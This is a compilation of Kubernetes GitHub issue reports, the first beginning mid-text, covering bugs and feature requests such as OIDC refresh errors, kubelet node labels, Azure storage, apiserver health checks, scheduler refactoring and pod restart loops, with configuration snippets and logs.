us-central1-b using provider gce\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling kube-up\r project: <project-name>\r zone: us-central1-b\r +++ staging server tars to google storage: gs://kubernetes-staging-<project-name>/kubernetes-devel\r +++ kubernetes-server-linux-amd64.tar.gz uploaded  sha1 = <hash> \r \r   anything else we need to know  :\r \r i have written the code to deal with this issue, and i'll submit a related pr shortly.\r \r

  \r /assign @ericchiang \r \r some openid connect providers, namely okta, don't return an id_token during a refresh 1 . the spec allows this 2  so their not non-compliant, but this means the error message when kubectl hits this case needs to improve 3 . right now it's just:\r \r    \r connection error: get https://example.com:8443/api: token response did not contain an id_token\r    \r \r maybe something long winded, like:\r \r    \r connection error: get https://example.com:8443/api: oidc refresh response from https://accounts.foo.com did not contain an id_token, either the scope \ openid\  wasn't requested upon login, or the provider doesn't support id_tokens as part of the refresh response.\r    \r \r also might be worth documenting on kubernetes.io\r \r  1  https://developer.okta.com/docs/api/resources/oidc.html response-parameters-4\r  2  https://openid.net/specs/openid-connect-core-1_0.html refreshtokenresponse\r  3  https://github.com/kubernetes/client-go/blob/9675d048204baf818bb24f7c74d0e64f6254902e/plugin/pkg/client/auth/oidc/oidc.go l254-l257\r \r cc @grillz @thomastaylor312 @gtaylor since i know some of you are trying to use okta as a provider.

was shocking to me we don't have it - i can create a pdb or quota but not the thing people actually need all the time.\r \r @kubernetes/sig-cli-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r the kubelet is started with  --node-labels=--node-labels=beta.kubernetes.io/foo=bar  :\r \r    \r /usr/bin/kubelet --node-labels=beta.kubernetes.io/foo=bar --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --cgroup-driver=systemd\r    \r \r but there's no label added to kubelet:\r \r    \r name:                   stackube-test\r role:                   \r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/os=linux\r                         kubernetes.io/hostname=stackube-test\r                         node-role.kubernetes.io/master=\r annotations:            node.alpha.kubernetes.io/ttl=0\r    \r \r   what you expected to happen  :\r \r  beta.kubernetes.io/foo=bar  should present in node labels.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start kubelet with  --node-labels=  been set\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.7.5\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  :  3.10.0\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   feature description  :\r 1.  azure disk encryption feature  https://docs.microsoft.com/en-us/azure/security/azure-security-disk-encryption  is only for managed disk.\r 2. add parameters in azure disk storage class when kind is  managed \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: managed-standard\r provisioner: kubernetes.io/azure-disk\r parameters:\r   skuname: standard_lrs\r   kind: managed\r   secretvault: \ /subscriptions/my-sub/resourcegroups/my-rg/providers/microsoft.keyvault/vaults/my-kv\ \r   secreturl: \ https://keyvault-name.vault.azure.net/secrets/secret-name/secret-version\ \r   kekvault: \ /subscriptions/my-sub/resourcegroups/my-rg/providers/microsoft.keyvault/vaults/my-kv\ \r   kekurl: \ https://keyvault-name.vault.azure.net/keys/kek-name/kek-version\ \r    \r \r note:\r 1. azure disk encryption requires that your key vault and vms reside in the same azure region and subscription.\r 2.  kekvault  and  kekurl  are optional, which is used to do key encryption\r 3 . if  kekurl  is provided and  kekvault  is empty, then  kekvault  will be the same keyvault with  secretvault \r \r @jdumars @khenidak\r \r   anything else we need to know?  :\r https://github.com/azure/acs-engine/issues/747\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  @kubernetes/sig-azure-azure\r \r   what happened  : when i tired to deploy mongo with persistent storage mongo error was detected\r \r   what you expected to happen  :\r \r error has happend when i try to deploy mongo with azure file storage.\r share mongo was created in azure.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r i used:\r \r    apiversion: v1\r kind: secret\r metadata:\r   name: azure-secret\r   namespace: feedsspace\r type: opaque\r data:\r   azurestorageaccountname: base64name==\r   azurestorageaccountkey: base64key==\r \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: mong\r   annotations: \r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   azurefile:\r     secretname: azure-secret\r     sharename: mongo\r     readonly: false\r   claimref:\r     name: mong-pvc\r     namespace: feedsspace\r \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mong-pvc\r   namespace: feedsspace\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r \r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: mongo\r   labels:\r     name: mongo\r spec:\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: mongo\r         tier: mongo\r     spec:      \r       containers:\r       - name: mongo\r         image: mongo:latest\r         ports:\r         - containerport: 27017\r           protocol: tcp\r           name: mongo \r         volumemounts:\r         - mountpath: /data/db\r           name: az-files-mongo-storage\r       volumes:\r       - name: az-files-mongo-storage\r         persistentvolumeclaim:\r           claimname: mong-pvc\r    \r \r after deploy error happend\r \r    \r 2018-01-15t21:13:05.199+0000 i control   initandlisten  mongodb starting : pid=1 port=27017 dbpath=/data/db 64-bit host=mongo-cb8d695f4-ntwbp\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  db version v3.6.1\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  git version: 025d4f4fe61efd1fb6f0005be20cb45a004093d1\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  openssl version: openssl 1.0.1t  3 may 2016\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  allocator: tcmalloc\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  modules: none\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  build environment:\r 2018-01-15t21:13:05.199+0000 i control   initandlisten      distmod: debian81\r 2018-01-15t21:13:05.199+0000 i control   initandlisten      distarch: x86_64\r 2018-01-15t21:13:05.199+0000 i control   initandlisten      target_arch: x86_64\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  options: { net: { bindipall: true } }\r 2018-01-15t21:13:05.199+0000 i storage   initandlisten  exception in initandlisten: location28596: unable to determine status of lock file in the data directory /data/db: boost::filesystem::status: permission denied: \ /data/db/mongod.lock\ , terminating\r 2018-01-15t21:13:05.199+0000 i control   initandlisten  now exiting\r 2018-01-15t21:13:05.200+0000 i control   initandlisten  shutting down with code:100\r    \r \r   anything else we need to know?  :\r \r \r \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: 3 gb, 2 cores\r - os  e.g. from /etc/os-release : 16.04 lts  xenial xerus \r - kernel  e.g.  uname -a  :linux master 4.4.0-104-generic  127-ubuntu smp mon dec 11 12:16:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we did a schedule maintenance of our dns resolvers used by apiserver, and apiserver becomes not healthy and get killed by health check.\r \r    \r 18m         55m          32        kube-apiserver-6vbybx1.151e516520b95ea7                     pod         spec.containers{kube-apiserver}            warning   unhealthy               kubelet, 6vbybx1     liveness probe failed: http probe failed with statuscode: 500\r    \r \r with this liveness probe\r \r    \r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 443\r         scheme: https\r       initialdelayseconds: 15\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 15\r    \r \r   what you expected to happen  :\r \r apiserver remains healthy while dns server is not available.  we actually have two resolvers in resolv.conf with these options\r \r    \r options ndots:15 timeout:1 attempts:5\r    \r \r and that still leads to this undesirable outcome.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just observed this, have not tried to reproduce this yet.  i assume doing an iptables drop can reproduce this and will confirm that.\r \r   anything else we need to know?  :\r \r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.6\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release :  centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  : 4.14.15-1.el7.elrepo.x86_64\r - install tools: custom\r - others:\r

is this a bug report or feature request?  :\r  \r / \r  \r   what happened  :\r from http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-serial&width=20,  dns configmap tests are failing since https://github.com/kubernetes/kubernetes/pull/62042 was merged with below error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/dns_configmap.go:38\r you may only call beforeeach from within a describe or context\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141\r    \r \r @grayluck

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >    \r \r   what happened  :\r for kube-scheduler.  it has some defaultpriorities functions, such as : selectorspreadpriority, interpodaffinitypriority,leastrequestedpriority,balancedresourceallocation,nodepreferavoidpodspriority, nodeaffinitypriority, tainttolerationpriority.   all of them use map-reduce to score fitnodes except interpodaffinitypriority. \r  in  interpodaffinity  because of the compatibility rule of pod. it must score all relecant nodes at the same time . so we can not use map-reduce way to do it.\r \r in map-reduce way, we can score sepcific host and not care about other host.\r \r   what you expected to happen  :\r we want interpodaffinity use map-reduce way to score host\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r     my advice   \r indeed， we can not use map-reduce way for interpodaffinity but we can make the code form conform to the map-reduce specification.\r \r in prioritizenodes   function  pkg/scheduler/core/generic_scheduler.go   \r    \r \tfor i, priorityconfig := range priorityconfigs {\r \t\tif priorityconfig.function != nil {\r \t\t\t// deprecated\r \t\t\twg.add 1 \r \t\t\tgo func index int, config algorithm.priorityconfig  {\r \t\t\t\tdefer wg.done  \r \t\t\t\tvar err error\r \t\t\t\tresults index , err = config.function pod, nodenametoinfo, nodes \r \t\t\t\tif err != nil {\r \t\t\t\t\tappenderror err \r \t\t\t\t}\r \t\t\t} i, priorityconfig \r \t\t} else {\r \t\t\tresults i  = make schedulerapi.hostprioritylist, len nodes  \r \t\t}\r \t}\r    \r the  config.function  is calculateinterpodaffinitypriority   funtion  pkg/scheduler/algorithm/priorities/interpod_affinity.go \r \r in calculateinterpodaffinitypriority   function , it score all fitnodes ,and return hostprioritylist object.\r but in map way, this function must return single host score not  score list of all hosts, it need return host \r so i want mv the core code of calculateinterpodaffinitypriority   to it s upper-layer method: \r prioritymetadata     in  pkg/scheduler/algorithm/priorities/metadata.go \r \r so in prioritymetadata method, i score all fitnodes,  and save the result to a map object:  map string schedulerapi.hostpriority. \r finally， in calculateinterpodaffinitypriority   function, it only get the related host score from map string schedulerapi.host \r \r this is my pr:\r    url https://github.com/kubernetes/kubernetes/pull/63116\r \r \r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  kind feature\r \r \r   what happened  : disk i/o overload on the nodes due to heavy block i/o of application containers\r \r   what you expected to happen  : limit iops/bps per container in a pod\r \r   how to reproduce it  as minimally and precisely as possible   : run a docker container hosting an application that uses high iops.\r \r \r   anything else we need to know?  : we are using kubernetes support with ucp 3.0.2\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : red hat enterprise linux server: 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.21.1\r - install tools:\r - others:

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r    \r root@hchenxa-2:~  kubernetes/server/bin/kube-proxy  --kubeconfig=/var/lib/kubelet/kube-proxy-config --hostname-override=9.111.255.131 --cluster-cidr=10.1.0.0/16 --cleanup\r w0731 09:46:25.248141   26014 server.go:195  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r i0731 09:46:25.268579   26014 server.go:448  version: v1.11.1\r f0731 09:46:25.335474   26014 server.go:361  <nil>\r    \r   what you expected to happen  :\r the  kubeproxy  should be start up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use k8s 1.11.1\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

5138 now uses the gce_zone parameter as the zone for aws also.  we should figure out which parameters have genuine meaning across clouds and can be shared, and rename them  gce_zone -> cloud_zone or just zone   this will likely break the scripts etc that set these flags though, so we have to be careful.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-cloud-provider-openstack-acceptance-test-e2e-conformance \r \r   which test s  are failing  :\r  overall    spyglass  https://prow.k8s.io/view/gcs/k8s-conformance-openstack/periodic-logs/ci-cloud-provider-openstack-acceptance-test-e2e-conformance/1555907386  \r \r   since when has it been failing  :\r since 4/18.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-informing conformance%20-%20openstack\r \r   reason for failure  :\r it may be a test configuration issue because all tests passed:\r    \r ran 214 of 4082 specs in 5331.224 seconds\r success! -- 214 passed | 0 failed | 0 pending | 3868 skipped\r pass\r ginkgo ran 1 suite in 1h28m52.607588602s\r test suite passed\r apr 22 06:00:33.999: done\r    \r \r  / /milestone v1.15\r /cc @kubernetes/sig-openstack-test-failures \r \r /cc @jimangel @smourapina @rarchk @alenkacz

i got an issue with controller-manager starting from v1.2.0-beta.1 and it still persists in v1.2.0 release.   it keeps restarting pods kube-apiserver, kube-controller-manager, kube-proxy and kube-scheduler every 30s :      name                                                     ready     status    restarts   age ... kube-apiserver-ip-10-242-128-234.ec2.internal            1/1       running   0          12s kube-controller-manager-ip-10-242-128-234.ec2.internal   1/1       running   0          16s kube-proxy-ip-10-242-128-234.ec2.internal                1/1       running   0          16s kube-scheduler-ip-10-242-128-234.ec2.internal            1/1       running   0          15s      age for the listed pods don't go above 30s.      name                                                     ready     status    restarts   age .... kube-apiserver-ip-10-242-128-234.ec2.internal            0/1       pending   0          1s kube-controller-manager-ip-10-242-128-234.ec2.internal   1/1       running   0          1s kube-scheduler-ip-10-242-128-234.ec2.internal            0/1       pending   0          1s      if i switch controller-manager to v1.2.0-beta.0 issue dissapear.  the strange thing is that docker containers are keep running      container id        image                                       command                  created             status              ports               names .... c44ff71caf21        gcr.io/google_containers/hyperkube:v1.2.0   \ /hyperkube scheduler\    33 minutes ago      up 33 minutes                           k8s_kube-scheduler.7b10907e_kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system_1adf66daf2f3ee9cce476b5b97a8b58c_ed62caa9 d8ef6ef809ca        gcr.io/google_containers/hyperkube:v1.2.0   \ /hyperkube proxy --m\    33 minutes ago      up 33 minutes                           k8s_kube-proxy.c9b75a4a_kube-proxy-ip-10-242-128-234.ec2.internal_kube-system_e8c6af5a5c65fbcf53b11238b4a403bd_3ee808aa 068a6ab6793a        gcr.io/google_containers/hyperkube:v1.2.0   \ /hyperkube controlle\    33 minutes ago      up 33 minutes                           k8s_kube-controller-manager.2e450a4c_kube-controller-manager-ip-10-242-128-234.ec2.internal_kube-system_556a90cee78cfb39fd2f1f8d57edb479_8db26042 76e4cda29efb        gcr.io/google_containers/hyperkube:v1.2.0   \ /hyperkube apiserver\    33 minutes ago      up 33 minutes                           k8s_kube-apiserver.f4b25f9b_kube-apiserver-ip-10-242-128-234.ec2.internal_kube-system_f3d81ba2e960c16f6848dc5c09eb4eee_471bfae7 11eb022a4939        gcr.io/google_containers/pause:2.0          \ /pause\                  33 minutes ago      up 33 minutes                           k8s_pod.6059dfa2_kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system_1adf66daf2f3ee9cce476b5b97a8b58c_a51591f2 a1d9d564218c        gcr.io/google_containers/pause:2.0          \ /pause\                  33 minutes ago      up 33 minutes                           k8s_pod.6059dfa2_kube-proxy-ip-10-242-128-234.ec2.internal_kube-system_e8c6af5a5c65fbcf53b11238b4a403bd_6accda61 1a1a278f12d5        gcr.io/google_containers/pause:2.0          \ /pause\                  33 minutes ago      up 33 minutes                           k8s_pod.6059dfa2_kube-controller-manager-ip-10-242-128-234.ec2.internal_kube-system_556a90cee78cfb39fd2f1f8d57edb479_209f305d 48e6e4e4d4bc        gcr.io/google_containers/pause:2.0          \ /pause\                  33 minutes ago      up 33 minutes                           k8s_pod.6059dfa2_kube-apiserver-ip-10-242-128-234.ec2.internal_kube-system_f3d81ba2e960c16f6848dc5c09eb4eee_3b289a47      error log from controller-manager:      i0322 15:57:36.787253       1 nodecontroller.go:400  forceful deletion of kube-controller-manager-ip-10-242-128-234.ec2.internal succeeded e0322 15:57:36.787288       1 nodecontroller.go:352  <nil> i0322 15:57:36.817601       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:57:36.817644       1 nodecontroller.go:352  <nil> e0322 15:57:36.819261       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found e0322 15:57:36.828904       1 nodecontroller.go:352  pods \ kube-scheduler-ip-10-242-128-234.ec2.internal\  not found i0322 15:57:37.659569       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-242-128-234.ec2.internal succeeded e0322 15:57:37.659586       1 nodecontroller.go:352  <nil> e0322 15:57:38.645497       1 nodecontroller.go:352  pods \ kube-scheduler-ip-10-242-128-234.ec2.internal\  not found e0322 15:57:38.678738       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found i0322 15:57:39.601407       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:57:39.601439       1 nodecontroller.go:352  <nil> i0322 15:57:40.619997       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:57:40.620013       1 nodecontroller.go:352  <nil> i0322 15:58:06.283648       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.295400       1 nodecontroller.go:352  pods \ kube-scheduler-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:06.372126       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.404804       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:06.442257       1 nodecontroller.go:400  forceful deletion of kube-controller-manager-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.458821       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:06.527879       1 nodecontroller.go:400  forceful deletion of kube-apiserver-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.528300       1 nodecontroller.go:352  pods \ kube-apiserver-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:06.694718       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.694758       1 nodecontroller.go:352  <nil> i0322 15:58:06.777777       1 nodecontroller.go:400  forceful deletion of kube-controller-manager-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:06.777819       1 nodecontroller.go:352  <nil> e0322 15:58:06.788130       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:36.558947       1 nodecontroller.go:400  forceful deletion of kube-controller-manager-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:36.573911       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:36.614092       1 nodecontroller.go:400  forceful deletion of kube-apiserver-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:36.615441       1 nodecontroller.go:352  pods \ kube-apiserver-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:36.653430       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded i0322 15:58:36.665033       1 nodecontroller.go:400  forceful deletion of kube-scheduler-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:36.665048       1 nodecontroller.go:352  <nil> i0322 15:58:36.736231       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:36.744630       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-242-128-234.ec2.internal\  not found i0322 15:58:36.786456       1 nodecontroller.go:400  forceful deletion of kube-controller-manager-ip-10-242-128-234.ec2.internal succeeded e0322 15:58:36.786470       1 nodecontroller.go:352  <nil> e0322 15:58:37.743522       1 nodecontroller.go:352  pods \ kube-controller-manager-ip-10-242-128-234.ec2.internal\  not found      error log from kubelet:      mar 22 16:01:38 master kubelet 1493 : e0322 16:01:38.917605    1493 kubelet.go:1753  deleting mirror pod \ kube-controller-manager-ip-10-242-128-234.ec2.internal_kube-system 4a513408-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:39 master kubelet 1493 : e0322 16:01:39.195729    1493 kubelet.go:1753  deleting mirror pod \ kube-proxy-ip-10-242-128-234.ec2.internal_kube-system 4a5d3ea1-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:39 master kubelet 1493 : e0322 16:01:39.196138    1493 kubelet.go:1753  deleting mirror pod \ kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system 4a39ac2f-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:39 master kubelet 1493 : e0322 16:01:39.196300    1493 kubelet.go:1753  deleting mirror pod \ kube-controller-manager-ip-10-242-128-234.ec2.internal_kube-system 4a513408-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:40 master kubelet 1493 : e0322 16:01:40.197232    1493 kubelet.go:1753  deleting mirror pod \ kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system 5c68bb91-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:40 master kubelet 1493 : e0322 16:01:40.197419    1493 kubelet.go:1753  deleting mirror pod \ kube-controller-manager-ip-10-242-128-234.ec2.internal_kube-system 5c78f49f-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:40 master kubelet 1493 : e0322 16:01:40.197556    1493 kubelet.go:1753  deleting mirror pod \ kube-proxy-ip-10-242-128-234.ec2.internal_kube-system 5c4a0855-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:40 master kubelet 1493 : w0322 16:01:40.395965    1493 request.go:627  throttling request took 110.236442ms, request: post:http://127.0.0.1:8080/api/v1/namespaces/kube-system/pods mar 22 16:01:41 master kubelet 1493 : e0322 16:01:41.199445    1493 kubelet.go:1753  deleting mirror pod \ kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system 5ca9cde4-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:42 master kubelet 1493 : e0322 16:01:42.201111    1493 kubelet.go:1753  deleting mirror pod \ kube-scheduler-ip-10-242-128-234.ec2.internal_kube-system 5d393e7a-f047-11e5-a5d4-0af71f25e715 \  because it is outdated mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.619715    1493 kubelet.go:2741  error updating node status, will retry: error getting node \ ip-10-242-128-234.ec2.internal\ : nodes \ ip-10-242-128-234.ec2.internal\  not found mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.655629    1493 kubelet.go:2741  error updating node status, will retry: error getting node \ ip-10-242-128-234.ec2.internal\ : nodes \ ip-10-242-128-234.ec2.internal\  not found mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.656954    1493 kubelet.go:2741  error updating node status, will retry: error getting node \ ip-10-242-128-234.ec2.internal\ : nodes \ ip-10-242-128-234.ec2.internal\  not found mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.658257    1493 kubelet.go:2741  error updating node status, will retry: error getting node \ ip-10-242-128-234.ec2.internal\ : nodes \ ip-10-242-128-234.ec2.internal\  not found mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.659539    1493 kubelet.go:2741  error updating node status, will retry: error getting node \ ip-10-242-128-234.ec2.internal\ : nodes \ ip-10-242-128-234.ec2.internal\  not found mar 22 16:01:44 master kubelet 1493 : e0322 16:01:44.659553    1493 kubelet.go:1183  unable to update node status: update node status exceeds retry count      my understanding is that kubelet thinks that these pods are duplicates and tries to remove them, but at the same time doesn't touch real docker containers.

for the scalability work, it would be desirable to push node bringup to multiple 9s of reliability. it's honestly not there, given issues like  24295 and  25356. i think things like the node e2e are a start, but they don't actually cover the on-the-ground bringup.  proposal: we need a node soak test that's capable of just creating and recreating nodes with an inplace master. we have most of the pieces in place with existing e2es already, but a few pieces might need some work: - we can start with e.g. a 5 node cluster and scale up / scale down, re-checking cluster state. there's already an e2e that does something close to this, iirc. we just need to run it in a loop. - whenever there's a failure to bring up a node after a specific timeout, we need to log the master state, but we also need to gather logs / serial console on the failed node. i don't think we do this yet.  we really need 5 9's of reliability on node bringup for a 1000 node cluster to get to 99% cluster-up reliability, if we want to remove the slop calculus  which would be nice , and it'll take us basically 6 9's if we want to get to 5000. it'd be really nice to get rid of that slop.

kubernetes version: 1.3  on hitting  http://node:10255/stats/summary  i am able to see volume metrics like:      \ volume\ :        {       \ availablebytes\ : 92852543488,       \ capacitybytes\ : 92852555776,       \ usedbytes\ : 12288,       \ name\ : \ default-token-eb5uv\       }            but the same metrics are not available when i hit  http://node:10255/metrics .  im under the assumption that all metrics are equally available on both endpoints. we use prometheus today to do our timeseries metric storage and because of this gap we are not able to see volume usage on prometheus.

kubernetes version    1.4.0     environment  : - google cloud container engine    what happened  : i have a cluster running a few services on it, i just created a new service + deployment which have failed to deploy. the state of the underlying pod is:  crashloopbackoff .   here is the error when running  kubectl describe ... :      fatal error: unexpected signal during runtime execution fatal error: unexpected signal during runtime execution fatal error: unexpected signal during runtime execution fatal error: unexpected signal during runtime execution  signal 0xb code=0x1 addr=0x60d114d0 pc=0x689f5   goroutine 33  running : runtime.throw 0x26389e0, 0x2a      /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc820023e28 sp=0xc820023e10 runtime.sigpanic       /usr/local/go/src/runtime/sigpanic_unix.go:12 +0x5a fp=0xc820023e78 sp=0xc820023e28 runtime/internal/atomic.load64 0x60d114d0, 0x60d114d76c16      /usr/local/go/src/runtime/internal/atomic/atomic_amd64x.go:26 +0x5 fp=0xc820023e80 sp=0xc820023e78 runtime.lfstackpop 0x3389020, 0xc81fffc61f      /usr/local/go/src/runtime/lfstack.go:38 +0x6d fp=0xc820023eb8 sp=0xc820023e80 runtime.trygetfull 0xa7, 0xc81ffdfb5c      /usr/local/go/src/runtime/mgcwork.go:382 +0x23 fp=0xc820023ed8 sp=0xc820023eb8 runtime.  gcwork .tryget 0xc82001b220, 0xc82001b220      /usr/local/go/src/runtime/mgcwork.go:150 +0x7c fp=0xc820023f08 sp=0xc820023ed8 runtime.gcdrain 0xc82001b220, 0x6      /usr/local/go/src/runtime/mgcmark.go:833 +0x22a 